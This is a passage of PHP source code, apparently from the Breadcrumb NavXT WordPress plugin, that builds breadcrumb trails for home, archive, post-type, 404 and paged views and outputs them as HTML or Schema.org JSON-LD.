    660      * This functions fills a breadcrumb for the front page
    661      * 
    662      * @param bool $force_link Whether or not to force this breadcrumb to be linked
    663      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    664      * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item
    665      */
    666     protected function do_home($force_link = false, $is_paged = false, $is_current_item = true) {
    667         global $current_site;
    668         //Exit early if we're not displaying the home breadcrumb
    669         if (!$this->opt['bhome_display']) {
    670             return;
    671         }
    672         //Get the site name
    673         $site_name = get_option('blogname');
    674         //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    675         $breadcrumb = $this->add(new bcn_breadcrumb($site_name, $this->opt['Hhome_template_no_anchor'], array('home')));
    676         if ($is_current_item) {
    677             $breadcrumb->add_type('current-item');
    678         }
    679         //Under a couple of circumstances we will want to link this breadcrumb
    680         if ($force_link || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) {
    681             $breadcrumb->set_template($this->opt['Hhome_template']);
    682             //Figure out the anchor for home page
    683             $breadcrumb->set_url(get_home_url());
    684         }
    685         //If we have a multi site and are not on the main site we may need to add a breadcrumb for the main site
    686         if ($this->opt['bmainsite_display'] && !is_main_site()) {
    687             //Get the site name
    688             $site_name = get_site_option('site_name');
    689             //Place the main site breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    690             $breadcrumb = $this->add(new bcn_breadcrumb($site_name, $this->opt['Hmainsite_template'], array('main-home'), get_home_url($current_site->blog_id)));
    691         }
    692     }
    693 
    694     /**
    695      * A modified version of WordPress' function of the same name
    696      * 
    697      * @param object $object the post or taxonomy object used to attempt to find the title
    698      * 
    699      * @return string the title
    700      */
    701     protected function post_type_archive_title($object) {
    702         if (isset($object->labels->name)) {
    703             //Core filter use here is ok for time being
    704             //TODO: Recheck validitiy prior to each release
    705             return apply_filters('post_type_archive_title', $object->labels->name, $object->name);
    706         }
    707     }
    708 
    709     /**
    710      * Determines if a post type is a built in type or not
    711      * 
    712      * @param string $post_type the name of the post type
    713      * 
    714      * @return bool
    715      */
    716     protected function is_builtin($post_type) {
    717         $type = get_post_type_object($post_type);
    718         //If we get a null, that means either then type wasn't found, or we had 'any' as a type, treat as builtin
    719         if ($type === null) {
    720             return true;
    721         } else {
    722             return $type->_builtin;
    723         }
    724     }
    725 
    726     /**
    727      * Determines if the current location is a for a root page or not
    728      * 
    729      * @param string $post_type the name of the post type
    730      * @return bool
    731      * 
    732      * TODO: Remove dependancies to current state (state should be passed in)
    733      */
    734     protected function treat_as_root_page($post_type) {
    735         return (is_home() || (is_post_type_archive() && !$this->opt['bpost_' . $post_type . '_archive_display']));
    736     }
    737 
    738     /**
    739      * Determines if a post type has archives enabled or not
    740      * 
    741      * @param string $post_type the name of the post type
    742      * 
    743      * @return bool
    744      */
    745     protected function has_archive($post_type) {
    746         $type = get_post_type_object($post_type); //TODO need a check on this for WP_Error?
    747         return $type->has_archive;
    748     }
    749 
    750     /**
    751      * Retrieves the query var for 'post_type', sets default to post, and escapes
    752      * 
    753      * @param string $default[optional] The default value to return if nothing was found/set or if post_type was an array
    754      * 
    755      * @return string The post type string found in the post_type query var
    756      */
    757     protected function get_type_string_query_var($default = 'post') {
    758         $type_str = get_query_var('post_type', $default);
    759         if ($type_str === '' || is_array($type_str)) {
    760             //If we didn't get a type, or it was an array, try the the first post
    761             $post = get_post();
    762             if ($post instanceof WP_Post) {
    763                 $type_str = $post->post_type;
    764             } else {
    765                 $type_str = $default;
    766             }
    767         }
    768         return esc_attr($type_str);
    769     }
    770 
    771     /**
    772      * Retrieves the query var for 'post_type', and returns whether or not it is an array
    773      * 
    774      * @return bool Whether or not the post_type query var is an array
    775      */
    776     protected function is_type_query_var_array() {
    777         return is_array(get_query_var('post_type'));
    778     }
    779 
    780     /**
    781      * Adds the post type argument to the URL iff the passed in type is not post
    782      * 
    783      * @param string $url The URL to possibly add the post_type argument to
    784      * @param string $type[optional] The type to possibly add to the URL
    785      * @param string $taxonomy[optional] If we're dealing with a taxonomy term, the taxonomy of that term
    786      * 
    787      * @return string The possibly modified URL
    788      */
    789     protected function maybe_add_post_type_arg($url, $type = null, $taxonomy = null) {
    790         global $wp_taxonomies;
    791         //Rather than default to post, we should try to find the type
    792         if ($type == null) {
    793             $type = $this->get_type_string_query_var();
    794         }
    795         //Add a query arg if we are not on the default post type for the archive in question and the post type is not post
    796         $add_query_arg = (!($taxonomy && $type === $wp_taxonomies[$taxonomy]->object_type[0]) && $type !== 'post');
    797         //Filter the add_query_arg logic, only add the query arg if necessary
    798         if (apply_filters('bcn_add_post_type_arg', $add_query_arg, $type, $taxonomy)) {
    799             $url = add_query_arg(array('post_type' => $type), $url);
    800         }
    801         return $url;
    802     }
    803 
    804     /**
    805      * A Breadcrumb Trail Filling Function
    806      * 
    807      * Deals with the post type archive and taxonomy archives
    808      * 
    809      * @param WP_Post|WP_Taxonomy $type The post or taxonomy to generate the archive breadcrumb for
    810      * @param string $type_str The type string for the archive
    811      * 
    812      * TODO: Remove dependancies to current state (state should be passed in)
    813      */
    814     protected function type_archive($type, $type_str = false) {
    815         global $wp_taxonomies;
    816         if (!isset($type->taxonomy) && $type_str === false) { //TODO could probably check the class type here
    817             $type_str = $this->get_type_string_query_var();
    818         }
    819         //If this is a custom post type with a post type archive, add it
    820         if ($type_str && !$this->is_builtin($type_str) && $this->opt['bpost_' . $type_str . '_archive_display'] && $this->has_archive($type_str)) {
    821             //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    822             $breadcrumb = $this->add(new bcn_breadcrumb($this->post_type_archive_title(get_post_type_object($type_str)), $this->opt['Hpost_' . $type_str . '_template'], array('post', 'post-' . $type_str . '-archive'), get_post_type_archive_link($type_str)));
    823         }
    824         //Otherwise, if this is a custom taxonomy with an archive, add it
    825         else if (isset($type->taxonomy) && isset($wp_taxonomies[$type->taxonomy]->object_type[0]) && !$this->is_builtin($this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0])) && $this->opt['bpost_' . $this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0]) . '_archive_display'] && $this->has_archive($this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0])) && !$this->is_type_query_var_array()) {
    826             //We end up using the post type in several places, give it a variable
    827             $post_type = apply_filters('bcn_type_archive_post_type', $this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0]));
    828             //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return
    829             $breadcrumb = $this->add(new bcn_breadcrumb($this->post_type_archive_title(get_post_type_object($post_type)), $this->opt['Hpost_' . $post_type . '_template'], array('post', 'post-' . $post_type . '-archive'), get_post_type_archive_link($post_type)));
    830         }
    831     }
    832 
    833     /**
    834      * A Breadcrumb Trail Filling Function 
    835      *
    836      * Handles only the root page stuff for post types, including the "page for posts"
    837      * 
    838      * @param string $type_str The type string variable
    839      * @param int $root_id The ID for the post type root
    840      * @param bool $is_paged Whether or not the current resource is on a page other than page 1
    841      * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item
    842      */
    843     protected function do_root($type_str, $root_id, $is_paged = false, $is_current_item = true) {
    844         //Nothing to do for the page post type, exit early
    845         if ($type_str === 'page') {
    846             return;
    847         }
    848         $frontpage_id = get_option('page_on_front');
    849         //Retrieve the post for the root_id as we will need it eventually
    850         $bcn_post = get_post($root_id);
    851         //We'll have to check if this ID is valid, e.g. user has specified a posts page
    852         if ($bcn_post instanceof WP_Post && $root_id > 0 && $root_id != $frontpage_id) {
    853             //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, we get a pointer to it in return
    854             $breadcrumb = $this->add(new bcn_breadcrumb(get_the_title($root_id), $this->opt['Hpost_' . $type_str . '_template_no_anchor'], array($type_str . '-root', 'post', 'post-' . $type_str), null, $root_id));
    855             //If we are at home, or any root page archive then we need to add the current item type
    856             if ($is_current_item) {
    857                 $breadcrumb->add_type('current-item');
    858             }
    859             //If we're not on the current item we need to setup the anchor
    860             if (!$is_current_item || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) {
    861                 $breadcrumb->set_template($this->opt['Hpost_' . $type_str . '_template']);
    862                 //Figure out the anchor for home page
    863                 $breadcrumb->set_url(get_permalink($root_id));
    864             }
    865             //Done with the "root", now on to the parents
    866             //If there is a parent post let's find it
    867             if ($bcn_post->post_parent > 0 && $bcn_post->ID != $bcn_post->post_parent && $frontpage_id != $bcn_post->post_parent) {
    868                 $this->post_parents($bcn_post->post_parent, $frontpage_id);
    869             }
    870         }
    871     }
    872 
    873     /**
    874      * A Breadcrumb Trail Filling Function
    875      * 
    876      * This functions fills a breadcrumb for 404 pages.
    877      */
    878     protected function do_404() {
    879         //Place the breadcrumb in the trail, uses the bcn_breadcrumb constructor to set the title, prefix, and suffix
    880         $this->breadcrumbs[] = new bcn_breadcrumb($this->opt['S404_title'], $this->opt['H404_template'], array('404', 'current-item'));
    881     }
    882 
    883     /**
    884      * A Breadcrumb Trail Filling Function
    885      * 
    886      * This functions fills a breadcrumb for paged pages
    887      * 
    888      * @param int $page_number The page number to create a breadcrumb for
    889      */
    890     protected function do_paged($page_number) {
    891         //Place the breadcrumb in the trail, uses the bcn_breadcrumb constructor to set the title, prefix, and suffix
    892         $this->breadcrumbs[] = new bcn_breadcrumb((string) $page_number, $this->opt['Hpaged_template'], array('paged'));
    893     }
    894 
    895     /**
    896      * Breadcrumb Trail Filling Function
    897      * 
    898      * This functions fills the breadcrumb trail.
    899      */
    900     public function fill() {
    901         global $wpdb, $wp_query, $wp;
    902         //Check to see if the trail is already populated
    903         if (count($this->breadcrumbs) > 0) {
    904             //Exit early since we have breadcrumbs in the trail
    905             return null;
    906         }
    907         if ($this->opt['bblog_display']) {
    908             $this->opt['apost_post_root'] = get_option('page_for_posts');
    909         } else {
    910             $this->opt['apost_post_root'] = false;
    911         }
    912         //Do any actions if necessary, we past through the current object instance to keep life simple
    913         do_action('bcn_before_fill', $this);
    914         $type = $wp_query->get_queried_object();
    915         //Do specific opperations for the various page types
    916         //Check if this isn't the first of a multi paged item
    917         if ($this->opt['bpaged_display'] && (is_paged() || is_singular() && get_query_var('page') > 1)) {
    918             //Need to switch between paged and page for archives and singular (posts)
    919             if (get_query_var('paged') > 0) {
    920                 //Can use simple type hinting here to int since we already checked for greater than 0
    921                 $page_number = (int) abs(get_query_var('paged'));
    922             } else {
    923                 $page_number = (int) abs(get_query_var('page'));
    924             }
    925             $this->do_paged($page_number);
    926         }
    927         //For the front page, as it may also validate as a page, do it first
    928         if (is_front_page()) {
    929             //Must have two seperate branches so that we don't evaluate it as a page
    930             if ($this->opt['bhome_display']) {
    931                 $this->do_home(false, is_paged());
    932             }
    933         }
    934         //For posts
    935         else if (is_singular()) {
    936             $this->do_post(get_post(), false, (get_query_var('page') > 1));
    937             //If this is an attachment then we need to change the queried object to the parent post
    938             if (is_attachment()) {
    939                 //Could use the $post global, but we can't really trust it
    940                 $post = get_post();
    941                 $type = get_post($post->post_parent); //TODO check for WP_Error?
    942             }
    943             $this->do_root($type->post_type, $this->opt['apost_' . $type->post_type . '_root'], is_paged(), false);
    944         }
    945         //For searches
    946         else if (is_search()) {
    947             $this->do_search(get_search_query(), is_paged());
    948         }
    949         //For author pages
    950         else if (is_author()) {
    951             $this->do_author($type, is_paged());
    952             $this->do_root('post', $this->opt['aauthor_root'], is_paged(), false);
    953         }
    954         //For archives
    955         else if (is_archive()) {
    956             //We need the type for later, so save it
    957             $type_str = get_query_var('post_type');
    958             //May be an array, if so, rewind the iterator and grab first item
    959             if (is_array($type_str)) {
    960                 $type_str = reset($type_str);
    961             }
    962             //For date based archives
    963             if (is_date()) {
    964                 //First deal with the day breadcrumb
    965                 if (is_day()) {
    966                     $this->do_day(get_post(), $this->get_type_string_query_var(), is_paged(), true);
    967                 }
    968                 //Now deal with the month breadcrumb
    969                 if (is_month() || is_day()) {
    970                     $this->do_month(get_post(), $this->get_type_string_query_var(), is_paged(), is_month());
    971                 }
    972                 $this->do_year(get_post(), $this->get_type_string_query_var(), is_paged(), is_year());
    973                 $type_str = $this->get_type_string_query_var();
    974                 $this->type_archive($type, $type_str);
    975             }
    976             //If we have a post type archive, and it does not have a root page generate the archive
    977             else if (is_post_type_archive() && !isset($type->taxonomy) && (!is_numeric($this->opt['apost_' . $type_str . '_root']) || $this->opt['bpost_' . $type_str . '_archive_display'])) {
    978                 $this->do_archive_by_post_type($this->get_type_string_query_var(), is_paged());
    979             }
    980             //For taxonomy based archives
    981             else if (is_category() || is_tag() || is_tax()) {
    982                 $this->do_archive_by_term($type, is_paged());
    983                 $this->type_archive($type);
    984                 $type_str = $this->get_type_string_query_var($GLOBALS['wp_taxonomies'][$type->taxonomy]->object_type[0]);
    985             } else {
    986                 $this->type_archive($type);
    987             }
    988             $this->do_root($type_str, $this->opt['apost_' . $type_str . '_root'], is_paged(), $this->treat_as_root_page($type_str));
    989         }
    990         //For 404 pages
    991         else if (is_404()) {
    992             $this->do_404();
    993         } else {
    994             //If it looks, walks, and quacks like a taxonomy, treat is as one
    995             if (isset($type->taxonomy)) {
    996                 $this->do_archive_by_term($type, is_paged());
    997                 $this->type_archive($type);
    998                 $type_str = $this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0]);
    999             }
   1000             //Otherwise, it's likely the blog page
   1001             else if ($this->opt['bblog_display'] || is_home()) {
   1002                 $type_str = 'post';
   1003             }
   1004             if (isset($type_str) && isset($this->opt['apost_' . $type_str . '_root'])) {
   1005                 $this->do_root($type_str, $this->opt['apost_' . $type_str . '_root'], is_paged(), $this->treat_as_root_page($type_str));
   1006             }
   1007         }
   1008         //We always do the home link last, unless on the frontpage
   1009         if (!is_front_page()) {
   1010             $this->do_home(true, false, false);
   1011         }
   1012         //Do any actions if necessary, we past through the current object instance to keep life simple
   1013         do_action('bcn_after_fill', $this);
   1014     }
   1015 
   1016     public function fill_REST($item) {
   1017         if ($item instanceof WP_Error || $item === null) {
   1018             return;
   1019         }
   1020         //Handle Posts
   1021         if ($item instanceof WP_Post) {
   1022             $this->do_post($item, false, true);
   1023             $this->do_root($item->post_type, $this->opt['apost_' . $item->post_type . '_root'], false, false);
   1024         }
   1025         //Handle Terms
   1026         else if ($item instanceof WP_Term) {
   1027             $this->do_archive_by_term($item, true);
   1028             $this->type_archive($item);
   1029             $type_str = $this->get_type_string_query_var($GLOBALS['wp_taxonomies'][$item->taxonomy]->object_type[0]);
   1030             $this->do_root($type_str, $this->opt['apost_' . $type_str . '_root'], is_paged(), $this->treat_as_root_page($type_str));
   1031         }
   1032         //Handle Author Archives
   1033         else if ($item instanceof WP_User) {
   1034             $this->do_author($item, true);
   1035             $this->do_root('post', $this->opt['aauthor_root'], false, false);
   1036         }
   1037         $this->do_home(true, false, false);
   1038     }
   1039 
   1040     /**
   1041      * This function will either set the order of the trail to reverse key 
   1042      * order, or make sure it is forward key ordered.
   1043      * 
   1044      * @param bool $reverse[optional] Whether to reverse the trail or not.
   1045      */
   1046     protected function order($reverse = false) {
   1047         if ($reverse) {
   1048             //Since there may be multiple calls our trail may be in a non-standard order
   1049             ksort($this->breadcrumbs);
   1050         } else {
   1051             //For normal opperation we must reverse the array by key
   1052             krsort($this->breadcrumbs);
   1053         }
   1054     }
   1055 
   1056     /**
   1057      * This functions outputs or returns the breadcrumb trail in string form.
   1058      *
   1059      * @param bool $linked[optional] Whether to allow hyperlinks in the trail or not.
   1060      * @param bool $reverse[optional] Whether to reverse the output or not.
   1061      * @param string $template The template to use for the string output.
   1062      * 
   1063      * @return void Void if Option to print out breadcrumb trail was chosen.
   1064      * @return string String-Data of breadcrumb trail.
   1065      */
   1066     public function display($linked = true, $reverse = false, $template = '%1$s%2$s') {
   1067         //Set trail order based on reverse flag
   1068         $this->order($reverse);
   1069         //The main compiling loop
   1070         $trail_str = $this->display_loop($linked, $reverse, $template);
   1071         return $trail_str;
   1072     }
   1073 
   1074     /**
   1075      * This functions outputs or returns the breadcrumb trail in list form.
   1076      *
   1077      * @deprecated 6.0.0 No longer needed, superceeded by $template parameter in display
   1078      * 
   1079      * @param bool $linked[optional] Whether to allow hyperlinks in the trail or not.
   1080      * @param bool $reverse[optional] Whether to reverse the output or not.
   1081      * 
   1082      * @return void Void if option to print out breadcrumb trail was chosen.
   1083      * @return string String version of the breadcrumb trail.
   1084      */
   1085     public function display_list($linked = true, $reverse = false) {
   1086         _deprecated_function(__FUNCTION__, '6.0', 'bcn_breadcrumb_trail::display');
   1087         return $this->display($return, $linked, $reverse, "<li%3\$s>%1\$s</li>\n");
   1088     }
   1089 
   1090     /**
   1091      * This function assembles the breadcrumbs in the breadcrumb trail in accordance with the passed in template
   1092      * 
   1093      * @param bool $linked  Whether to allow hyperlinks in the trail or not.
   1094      * @param bool $reverse Whether to reverse the output or not.
   1095      * @param string $template The template to use for the string output.
   1096      * 
   1097      * @return string String-Data of breadcrumb trail.
   1098      */
   1099     protected function display_loop($linked, $reverse, $template) {
   1100         $position = 1;
   1101         $last_position = count($this->breadcrumbs);
   1102         //Initilize the string which will hold the assembled trail
   1103         $trail_str = '';
   1104         foreach ($this->breadcrumbs as $key => $breadcrumb) {
   1105             $types = $breadcrumb->get_types();
   1106             array_walk($types, 'sanitize_html_class');
   1107             $class = sprintf(' class="%s"', esc_attr(implode(' ', $types)));
   1108             //Deal with the separator
   1109             if ($position < $last_position) {
   1110                 $separator = $this->opt['hseparator'];
   1111             } else {
   1112                 $separator = '';
   1113             }
   1114             //Filter li_attributes adding attributes to the li element
   1115             $attribs = apply_filters_deprecated('bcn_li_attributes', array($class, $breadcrumb->get_types(), $breadcrumb->get_id()), '6.0.0', 'bcn_display_attributes');
   1116             $attribs = apply_filters('bcn_display_attributes', $class, $breadcrumb->get_types(), $breadcrumb->get_id());
   1117             //Trim titles, if requested
   1118             if ($this->opt['blimit_title'] && $this->opt['amax_title_length'] > 0) {
   1119                 //Trim the breadcrumb's title
   1120                 $breadcrumb->title_trim($this->opt['amax_title_length']);
   1121             }
   1122             //Assemble the breadrumb and wrap with li's
   1123             $trail_str .= sprintf($template, $breadcrumb->assemble($linked, $position), $separator, $attribs);
   1124             $position++;
   1125         }
   1126         return $trail_str;
   1127     }
   1128 
   1129     /**
   1130      * This functions outputs or returns the breadcrumb trail in Schema.org BreadcrumbList compliant JSON-LD
   1131      *
   1132      * @param bool $reverse[optional] Whether to reverse the output or not.
   1133      * 
   1134      * @return void Void if option to print out breadcrumb trail was chosen.
   1135      * @return object basic object version of the breadcrumb trail ready for json_encode.
   1136      */
   1137     public function display_json_ld($reverse = false) {
   1138         //Set trail order based on reverse flag
   1139         $this->order($reverse);
   1140         $trail_str = (object) array(
   1141                     '@context' => 'http://schema.org',
   1142                     '@type' => 'BreadcrumbList',
   1143                     'itemListElement' => $this->json_ld_loop());
   1144         return $trail_str;
   1145     }
   1146 
   1147     /**
   1148      * This function assembles all of the breadcrumbs into an object ready for json_encode
   1149      *
   1150      * @return array The array of breadcrumbs prepared for JSON-LD
   1151      */
   1152     protected function json_ld_loop() {
   1153         $postion = 1;
   1154         $breadcrumbs = array();
   1155         //Loop around our breadcrumbs, call the JSON-LD assembler
   1156         foreach ($this->breadcrumbs as $breadcrumb) {
   1157             $breadcrumbs[] = $breadcrumb->assemble_json_ld($postion);
   1158             $postion++;
   1159         }
   1160         return $breadcrumbs;
   1161     }
   1162 
   1163 }